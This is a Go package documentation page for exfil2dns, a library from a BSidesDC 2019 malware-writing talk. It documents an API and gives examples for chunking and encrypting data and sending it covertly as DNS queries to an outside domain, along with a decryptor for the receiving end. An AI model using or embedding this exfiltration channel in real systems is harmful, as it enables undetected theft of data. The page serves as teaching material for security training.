exfil2dns

package module
v0.0.0-...-e05f9ca Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 10, 2019 License: MIT Imports: 11 Imported by: 1

README

Exfil2DNS

Simple library to exfiltrate data using DNS queries.

Written for the Hands-on Writing Malware in Go talk at BSidesDC 2019.

For legal use only.

TODO

  • Buffer encrypted bytes
  • Finish documentation (and make more consistent)
  • Make code more concise (where possible)
  • Make a seperate chunking function (?)
  • Make Client and Decryptor threadsafe?
  • More testing

Encrypt Usage Go Playground

Encrypt and send data:

import (
	"log"
	"github.com/CS-5/exfil2dns"
)
func main() {
	client, err := exfil2dns.NewClient(
		"cube", 
		"example.domain", 
		"ThisIsAKey1234", 23
	)
	
	if err != nil {
		log.Fatal("Error creating client: " + err.Error())
	}
	/* Exfil "Here's a sneaky string" */
	err = client.Exfil([]byte("Here's a sneaky string"))
	if err != nil {
		log.Fatal("Error exfiling data: " + err.Error())
	}
}

Decrypt Usage Go Playground

Decrypt data:

import (
    "log"
    "github.com/CS-5/exfil2dns"
)

func main() {
    decryptor := exfil2dns.NewDecryptor("ThisIsAKey1234")

    /* DNS Server */
    queryString := someDNS.server()

	target, payload, err := decryptor.Decrypt(queryString)
	if err != nil {
		log.Fatal(err)
	}

    fmt.Printf("Target: %v, Payload: %v", target, payload)
}

Documentation

Overview

Package exfil2dns is used to exfiltrate strings using encoded DNS queries to a specified domain.

Notes

This is not meant to be "the best" or "most descrete" exfiltration over DNS solution. There are certainly better ways to do this, but this is a very simple and straightfoward example of what's possible.

Exfil over DNS

The idea behind exfiltrating data over DNS is more simple than it sounds. You start with the payload you want to send (Example: "HelloComputer!"). This payload is chunked into byte slices (<24 bytes) and encrypted using NaCl Secretbox with a specified key (Hashed with SHA256) and per-message nonce. The encrypted output from secretbox is then encoded in Base32 and built into a query string ([Base32 Encrypted Chunk].target.[Base32 Nonce].domain.). Finally, the DNS server is queried. Using the query string, the messages are then decoded and decrypted.

Usage

Basic code to initialize the client and exfil data:

import (
	"log"

	"github.com/CS-5/exfil2dns"
)

func main() {
	client, err := exfil2dns.NewClient(
		"cube",
		"example.domain",
		"ThisIsAKey1234", 23
	)

	if err != nil {
		log.Fatal("Error creating client: " + err.Error())
	}

	/* Exfil "Here's a sneaky string" */
	err = client.Exfil([]byte("Here's a sneaky string"))
	if err != nil {
		log.Fatal("Error exfiling data: " + err.Error())
	}
}

Index

Constants

This section is empty.

Variables

View Source
var (
	// MaxChunk is the largest size (in bytes) a chunk can be
	MaxChunk = 23
	// MaxQueryLength is the longest a DNS query string (between the ".")
	MaxQueryLength = 63
)

Functions

This section is empty.

Types

type Client

type Client struct {
	// contains filtered or unexported fields
}

Client contains the parameters to required to encrypt and deliver the payload. Use NewClient() to initialize.

func NewClient

func NewClient(target, domain, password string, chunkSize int) (Client, error)

NewClient initializes the Client Target is the name of the target system. Domain is the domain to append to the query string. Chunk size is the max number of payload bytes per message, must be <= 23.

func NewDevClient

func NewDevClient(target, domain, password, server string, chunkSize int) (Client, error)

NewDevClient functions the same as NewClient, but sends all DNS requests to a custom DNS server (overriding the system's DNS resolver).

func (*Client) Encode

func (c *Client) Encode(chunk []byte) (string, error)

Encode takes a chunk of data, encrypts it, and returns a query. Chunks must be < MaxChunk.

func (*Client) Exfil

func (c *Client) Exfil(payload []byte) error

Exfil takes a byte slice payload splits it into chunks and exfils. Chunk lengths are declared when a client is initialized. Each chunk is encrypted, encoded, and sent as an individual query.

func (*Client) ExfilString

func (c *Client) ExfilString(payload string) error

ExfilString takes a string payload and exfils.

type Decryptor

type Decryptor struct {
	// contains filtered or unexported fields
}

Decryptor contains the parameters required to decrypt messages from the exfil client. Use NewDecryptor() to initialize.

func NewDecryptor

func NewDecryptor(password string) Decryptor

NewDecryptor initializes Decryptor

func (*Decryptor) Decrypt

func (d *Decryptor) Decrypt(query string) (string, string, error)

Decrypt takes a query string recieved and returns a 2 element string slice. Index 0 is the name of the target recieved and index 1 is the payload.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL